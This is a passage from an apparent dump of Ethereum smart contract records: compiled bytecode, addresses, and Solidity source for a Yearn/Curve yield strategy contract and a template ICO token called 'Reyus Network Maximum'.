df565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c799b73eef548b56b5ede4b3e36aceea0952029cb2dd99f4ed8a4747c9ab701164736f6c63430008040033
[ 13, 5, 11 ]
0xf39e098f6c3a356f4f478ed4f05419c9d2a4aa2d
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface StandardToken { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IStakeAndYield { function getRewardToken() external view returns(address); function totalSupply(uint256 stakeType) external view returns(uint256); function totalYieldWithdrawed() external view returns(uint256); function notifyRewardAmount(uint256 reward, uint256 stakeType) external; } interface IController { function withdrawETH(uint256 amount) external; function depositTokenForStrategy(uint256 amount, address addr, address yearnToken, address yearnVault) external; function buyForStrategy( uint256 amount, address rewardToken, address recipient ) external; function withdrawForStrategy( uint256 sharesToWithdraw, address yearnVault ) external; function strategyBalance(address stra) external view returns(uint256); } interface IYearnVault{ function balanceOf(address account) external view returns (uint256); function withdraw(uint256 amount) external; function getPricePerFullShare() external view returns(uint256); function deposit(uint256 _amount) external returns(uint256); } interface IWETH is StandardToken{ function withdraw(uint256 amount) external returns(uint256); } interface ICurve{ function get_virtual_price() external view returns(uint256); function add_liquidity(uint256[2] memory amounts, uint256 min_amounts) external payable returns(uint256); function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 _min_amount) external returns(uint256); } contract YearnCrvAETHStrategy is Ownable { using SafeMath for uint256; uint256 public lastEpochTime; uint256 public lastBalance; uint256 public lastYieldWithdrawed; uint256 public yearnFeesPercent; uint256 public ethPushedToYearn; IStakeAndYield public vault; IController public controller; //crvAETH address yearnDepositableToken = 0xaA17A236F2bAdc98DDc0Cf999AbB47D47Fc0A6Cf; IYearnVault public yearnVault = IYearnVault(0xE625F5923303f1CE7A43ACFEFd11fd12f30DbcA4); //IWETH public weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); StandardToken crvAETH = StandardToken(0xaA17A236F2bAdc98DDc0Cf999AbB47D47Fc0A6Cf); ICurve curve = ICurve(0xA96A65c051bF88B4095Ee1f2451C2A9d43F53Ae2); address public operator; uint256 public minRewards = 0.01 ether; uint256 public minDepositable = 0.05 ether; modifier onlyOwnerOrOperator(){ require( msg.sender == owner() || msg.sender == operator, "!owner" ); _; } constructor( address _vault, address _controller ) public{ vault = IStakeAndYield(_vault); controller = IController(_controller); } // Since Owner is calling this function, we can pass // the ETHPerToken amount function epoch(uint256 ETHPerToken) public onlyOwnerOrOperator{ uint256 balance = pendingBalance(); //require(balance > 0, "balance is 0"); uint256 withdrawable = harvest(balance.mul(ETHPerToken).div(1 ether)); lastEpochTime = block.timestamp; lastBalance = lastBalance.add(balance); uint256 currentWithdrawd = vault.totalYieldWithdrawed(); uint256 withdrawAmountToken = currentWithdrawd.sub(lastYieldWithdrawed); if(withdrawAmountToken > 0){ lastYieldWithdrawed = currentWithdrawd; uint256 ethWithdrawed = withdrawAmountToken.mul( ETHPerToken ).div(1 ether); withdrawFromYearn(ethWithdrawed.add(withdrawable)); ethPushedToYearn = ethPushedToYearn.sub(ethWithdrawed); }else{ if(withdrawable > 0){ withdrawFromYearn(withdrawable); } } } function harvest(uint256 ethBalance) private returns( uint256 withdrawable ){ uint256 rewards = calculateRewards(); uint256 depositable = ethBalance > rewards ? ethBalance.sub(rewards) : 0; if(depositable >= minDepositable){ //deposit to yearn controller.depositTokenForStrategy(depositable, address(this), yearnDepositableToken, address(yearnVault)); ethPushedToYearn = ethPushedToYearn.add( depositable ); } if(rewards > minRewards){ withdrawable = rewards > ethBalance ? rewards.sub(ethBalance) : 0; // get DEA and send to Vault controller.buyForStrategy( rewards, vault.getRewardToken(), address(vault) ); }else{ withdrawable = 0; } } function withdrawFromYearn(uint256 ethAmount) private returns(uint256){ uint256 yShares = controller.strategyBalance(address(this)); uint256 sharesToWithdraw = ethAmount.mul(1 ether).div( yearnVault.getPricePerFullShare() ); uint256 curveVirtualPrice = curve.get_virtual_price(); sharesToWithdraw = sharesToWithdraw.mul(curveVirtualPrice).div( 1 ether ); require(yShares >= sharesToWithdraw, "Not enough shares"); controller.withdrawForStrategy( sharesToWithdraw, address(yearnVault) ); return ethAmount; } function calculateRewards() public view returns(uint256){ uint256 yShares = controller.strategyBalance(address(this)); uint256 yETHBalance = yShares.mul( yearnVault.getPricePerFullShare() ).div(1 ether); uint256 curveVirtualPrice = curve.get_virtual_price(); yETHBalance = yETHBalance.mul(curveVirtualPrice).div( 1 ether ); yETHBalance = yETHBalance.mul(1000 - yearnFeesPercent).div(1000); if(yETHBalance > ethPushedToYearn){ return yETHBalance - ethPushedToYearn; } return 0; } function pendingBalance() public view returns(uint256){ uint256 vaultBalance = vault.totalSupply(2); if(vaultBalance < lastBalance){ return 0; } return vaultBalance.sub(lastBalance); } function getLastEpochTime() public view returns(uint256){ return lastEpochTime; } function setYearnFeesPercent(uint256 _val) public onlyOwner{ yearnFeesPercent = _val; } function setOperator(address _addr) public onlyOwner{ operator = _addr; } function setMinRewards(uint256 _val) public onlyOwner{ minRewards = _val; } function setMinDepositable(uint256 _val) public onlyOwner{ minDepositable = _val; } function setController(address _controller, address _vault) public onlyOwner{ if(_controller != address(0)){ controller = IController(_controller); } if(_vault != address(0)){ vault = IStakeAndYield(_vault); } } function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{ require(addr != address(0)); payable(addr).transfer(amount); } function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { StandardToken(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80637b7d6c68116100de578063b3ab15fb11610097578063d02e27ac11610071578063d02e27ac14610325578063f2fde38b14610342578063f77c479114610368578063fbfa77cf1461037057610173565b8063b3ab15fb146102c1578063b3f5e008146102e7578063ba5224581461031d57610173565b80637b7d6c681461026b5780637ce686111461029957806389c614b8146102a15780638da5cb5b146102a95780638f1c56bd146102b15780639db5df46146102b957610173565b806334535ee11161013057806334535ee11461020a5780633e50de30146102125780635487c5771461021a578063570ca7351461023757806357b4d18e1461025b578063715018a61461026357610173565b806302abcb3b1461017857806305c86bbc1461019757806315945006146101b157806316caf8c7146101dd57806317fe6e09146101e55780632d7c071e14610202575b600080fd5b6101956004803603602081101561018e57600080fd5b5035610378565b005b61019f6103d5565b60408051918252519081900360200190f35b610195600480360360408110156101c757600080fd5b50803590602001356001600160a01b03166103db565b61019f610481565b610195600480360360208110156101fb57600080fd5b5035610487565b61019f6104e4565b61019f6104ea565b61019f6104f0565b6101956004803603602081101561023057600080fd5b50356106df565b61023f61087a565b604080516001600160a01b039092168252519081900360200190f35b61019f610889565b610195610931565b6101956004803603604081101561028157600080fd5b506001600160a01b03813581169160200135166109d3565b61019f610a85565b61019f610a8b565b61023f610a91565b61019f610aa0565b61023f610aa6565b610195600480360360208110156102d757600080fd5b50356001600160a01b0316610ab5565b610195600480360360608110156102fd57600080fd5b506001600160a01b03813581169160208101359091169060400135610b2f565b61019f610c08565b6101956004803603602081101561033b57600080fd5b5035610c0e565b6101956004803603602081101561035857600080fd5b50356001600160a01b0316610c6b565b61023f610d63565b61023f610d72565b610380610d81565b6000546001600160a01b039081169116146103d0576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b600e55565b60045481565b6103e3610d81565b6000546001600160a01b03908116911614610433576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b6001600160a01b03811661044657600080fd5b6040516001600160a01b0382169083156108fc029084906000818181858888f1935050505015801561047c573d6000803e3d6000fd5b505050565b60035481565b61048f610d81565b6000546001600160a01b039081169116146104df576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b600d55565b600e5481565b600d5481565b6007546040805163beefbfd360e01b8152306004820152905160009283926001600160a01b039091169163beefbfd391602480820192602092909190829003018186803b15801561054057600080fd5b505afa158015610554573d6000803e3d6000fd5b505050506040513d602081101561056a57600080fd5b505160095460408051631df1ee3f60e21b8152905192935060009261060292670de0b6b3a7640000926105fc926001600160a01b03909216916377c7b8fc91600480820192602092909190829003018186803b1580156105c957600080fd5b505afa1580156105dd573d6000803e3d6000fd5b505050506040513d60208110156105f357600080fd5b50518590610d85565b90610de7565b90506000600b60009054906101000a90046001600160a01b03166001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561065457600080fd5b505afa158015610668573d6000803e3d6000fd5b505050506040513d602081101561067e57600080fd5b50519050610698670de0b6b3a76400006105fc8484610d85565b91506106b96103e86105fc6004546103e80385610d8590919063ffffffff16565b91506005548211156106d457600554820393505050506106dc565b600093505050505b90565b6106e7610a91565b6001600160a01b0316336001600160a01b031614806107105750600c546001600160a01b031633145b61074a576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b6000610754610889565b90506000610776610771670de0b6b3a76400006105fc8587610d85565b610e29565b4260015560025490915061078a9083611010565b60025560065460408051633caef61b60e21b815290516000926001600160a01b03169163f2bbd86c916004808301926020929190829003018186803b1580156107d257600080fd5b505afa1580156107e6573d6000803e3d6000fd5b505050506040513d60208110156107fc57600080fd5b505160035490915060009061081290839061106a565b905080156108625760038290556000610837670de0b6b3a76400006105fc8489610d85565b905061084b6108468286611010565b6110ac565b50600554610859908261106a565b60055550610873565b821561087357610871836110ac565b505b5050505050565b600c546001600160a01b031681565b6006546040805163bd85b03960e01b815260026004820152905160009283926001600160a01b039091169163bd85b03991602480820192602092909190829003018186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b505160025490915081101561091d5760009150506106dc565b60025461092b90829061106a565b91505090565b610939610d81565b6000546001600160a01b03908116911614610989576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6109db610d81565b6000546001600160a01b03908116911614610a2b576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b6001600160a01b03821615610a5657600780546001600160a01b0319166001600160a01b0384161790555b6001600160a01b03811615610a8157600680546001600160a01b0319166001600160a01b0383161790555b5050565b60055481565b60015481565b6000546001600160a01b031690565b60025481565b6009546001600160a01b031681565b610abd610d81565b6000546001600160a01b03908116911614610b0d576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b610b37610d81565b6000546001600160a01b03908116911614610b87576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610bde57600080fd5b505af1158015610bf2573d6000803e3d6000fd5b505050506040513d602081101561087357600080fd5b60015490565b610c16610d81565b6000546001600160a01b03908116911614610c66576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b600455565b610c73610d81565b6000546001600160a01b03908116911614610cc3576040805162461bcd60e51b81526020600482018190526024820152600080516020611450833981519152604482015290519081900360640190fd5b6001600160a01b038116610d085760405162461bcd60e51b81526004018080602001828103825260268152602001806114096026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b6006546001600160a01b031681565b3390565b600082610d9457506000610de1565b82820282848281610da157fe5b0414610dde5760405162461bcd60e51b815260040180806020018281038252602181526020018061142f6021913960400191505060405180910390fd5b90505b92915050565b6000610dde83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130c565b600080610e346104f0565b90506000818411610e46576000610e50565b610e50848361106a565b9050600e548110610eed5760075460085460095460408051631ebae3b160e31b8152600481018690523060248201526001600160a01b039384166044820152918316606483015251919092169163f5d71d8891608480830192600092919082900301818387803b158015610ec357600080fd5b505af1158015610ed7573d6000803e3d6000fd5b5050600554610ee99250905082611010565b6005555b600d5482111561100457838211610f05576000610f0f565b610f0f828561106a565b600754600654604080516369940d7960e01b815290519396506001600160a01b0392831693637fc0953193879316916369940d79916004808301926020929190829003018186803b158015610f6357600080fd5b505afa158015610f77573d6000803e3d6000fd5b505050506040513d6020811015610f8d57600080fd5b5051600654604080516001600160e01b031960e087901b16815260048101949094526001600160a01b0392831660248501529116604483015251606480830192600092919082900301818387803b158015610fe757600080fd5b505af1158015610ffb573d6000803e3d6000fd5b50505050611009565b600092505b5050919050565b600082820183811015610dde576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610dde83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ae565b6007546040805163beefbfd360e01b8152306004820152905160009283926001600160a01b039091169163beefbfd391602480820192602092909190829003018186803b1580156110fc57600080fd5b505afa158015611110573d6000803e3d6000fd5b505050506040513d602081101561112657600080fd5b505160095460408051631df1ee3f60e21b815290519293506000926111b2926001600160a01b0316916377c7b8fc916004808301926020929190829003018186803b15801561117457600080fd5b505afa158015611188573d6000803e3d6000fd5b505050506040513d602081101561119e57600080fd5b50516105fc86670de0b6b3a7640000610d85565b90506000600b60009054906101000a90046001600160a01b03166001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561120457600080fd5b505afa158015611218573d6000803e3d6000fd5b505050506040513d602081101561122e57600080fd5b50519050611248670de0b6b3a76400006105fc8484610d85565b915081831015611293576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f7567682073686172657360781b604482015290519081900360640190fd5b6007546009546040805163a3c1295b60e01b8152600481018690526001600160a01b0392831660248201529051919092169163a3c1295b91604480830192600092919082900301818387803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b5096979650505050505050565b600081836113985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135d578181015183820152602001611345565b50505050905090810190601f16801561138a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816113a457fe5b0495945050505050565b600081848411156114005760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561135d578181015183820152602001611345565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212203e2640496c83be71d521c2c4c4b7236f5a7b69262d2b5e1d2e2b3404970c40ea64736f6c634300060c0033
[ 16, 4, 7 ]
0xf39e32606f59e5dbbeebe81eb8251f1c380fb5f4
pragma solidity ^0.4.24; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReyNetMax is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function ReyNetMax() { balances[msg.sender] = 17770000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 17770000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "Reyus Network Maximum"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "REYUS"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 20000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100b65763ffffffff60e060020a60003504166306fdde038114610197578063095ea7b31461022157806318160ddd146102595780632194f3a21461028057806323b872dd146102b1578063313ce567146102db57806354fd4d501461030657806365f2bc2e1461031b57806370a0823114610330578063933ba4131461035157806395d89b4114610366578063a9059cbb1461037b578063cae9ca511461039f578063dd62ed3e14610408575b6008805434908101909155600754600954600160a060020a03166000908152602081905260409020549102908111156100ee57600080fd5b60098054600160a060020a0390811660009081526020818152604080832080548790039055338084529281902080548701905593548451868152945192949316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3600954604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610193573d6000803e3d6000fd5b5050005b3480156101a357600080fd5b506101ac61042f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e65781810151838201526020016101ce565b50505050905090810190601f1680156102135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022d57600080fd5b50610245600160a060020a03600435166024356104bd565b604080519115158252519081900360200190f35b34801561026557600080fd5b5061026e610524565b60408051918252519081900360200190f35b34801561028c57600080fd5b5061029561052a565b60408051600160a060020a039092168252519081900360200190f35b3480156102bd57600080fd5b50610245600160a060020a0360043581169060243516604435610539565b3480156102e757600080fd5b506102f06106